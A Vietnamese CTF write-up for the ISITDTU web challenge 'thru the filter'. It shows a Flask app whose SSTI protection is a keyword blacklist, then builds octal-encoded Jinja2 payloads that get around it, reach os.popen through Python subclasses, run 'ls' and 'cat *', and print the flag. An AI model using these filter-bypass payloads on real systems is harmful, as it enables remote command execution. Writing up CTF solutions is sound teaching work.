# Web challenges ## 1. thru the filter ![](https://hackmd.io/_uploads/rkCY6yYZa.png) Mới vào thì biết là bị dính `SSTI` của `jinja2` rồi Đề có cho source, vào đọc thử ``` from flask import Flask, request, render_template_string,redirect app = Flask(__name__) def check_payload(payload): blacklist = ['import', 'request', 'init', '_', 'b', 'lipsum', 'os', 'globals', 'popen', 'mro', 'cycler', 'joiner', 'u','x','g','args', 'get_flashed_messages', 'base', '[',']','builtins', 'namespace', 'self', 'url_for', 'getitem','.','eval','update','config','read','dict'] for bl in blacklist: if bl in payload: return True return False @app.route("/") def home(): if request.args.get('c'): ssti=request.args.get('c') if(check_payload(ssti)): return "HOLD UP !!!" else: return render_template_string(request.args.get('c')) else: return redirect("""/?c={{ 7*7 }}""") if __name__ == "__main__": app.run() ``` Ú là la, filter khét đấy Gần như là filter 99% payload có mặt trên thị trường Stuck một lúc lâu thì quyết định xin hint của 1 người anh so ciuu 😘 <br> Để bypass được mấy khứa trên thì phải convert payload sang `octal` Mình có thử sang `hex` nhưng không ăn thua <br/> Đầu tiên là dùng `().__class__.__base__.__subclasses__()` Để dump toàn bộ các subclass object Dùng `attr` để bypass `.` Có thể hình dung như sau: thay vì `foot.bar` mình có thể dùng `foot|attr('bar')` payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()}}` ![](https://hackmd.io/_uploads/Sym061KZa.png) Ở đây có cả `subprocess.Popen`, và `os.wrap_close`, cả 2 lớp này cung cấp các phương thức để exec code <br> Cách 1: Giờ cần tìm được chính xác `subprocess.Popen` nằm ở đâu trong mớ kia 😑 Dùng `().__class__.__base__.__subclasses__()[?]` Vì filter luôn cả `[`, `]` nên mình dùng `__getitem__(?)` thay cho `[?]` Sau một hồi brute thì cuối cùng cũng tìm thấy ![](https://hackmd.io/_uploads/H1gxCJF-6.png) payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)}}` ![](https://hackmd.io/_uploads/HJcx01FZ6.png) <br/> Thường sử dụng `__init__` để gọi `__globals__` và trả về tất cả các module và phương thức có thể sử dụng `().__class__.__base__.__subclasses__()[367].__init__.__globals__` payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')}}` <br/> Để sử dụng được hàm `popen` thì phải thông qua lớp `os` `().__class__.__base__.__subclasses__()[367].__init__.__globals__['os'].popen('ls').read()` payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('ls')|attr('\162\145\141\144')()}}` ![](https://hackmd.io/_uploads/ByiNA1YZa.png) Ú là la đi lụm flag thôi Chả hiểu sao `flag` bị filter mà trong source lại không thấy 😑 `().__class__.__base__.__subclasses__()[367].__init__.__globals__['os'].popen('cat *').read()` payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('cat+*')|attr('\162\145\141\144')()}}` ![](https://hackmd.io/_uploads/BJ8_0JF-p.png) <br/> Cách 2: Dùng `os.wrap_close` Tương tự như cách 1, cần tìm được vị trí của nó (ở 137) ![](https://hackmd.io/_uploads/BJrsRkYb6.png) Và payload cũng sẽ hơi khác một chút `().__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('cat *').read()` full payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(137)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\160\157\160\145\156')('cat+*')|attr('\162\145\141\144')()}}` Flag: ~~**`ISITDTU{tough_times_create_tough_guys!@@%#0@}`**~~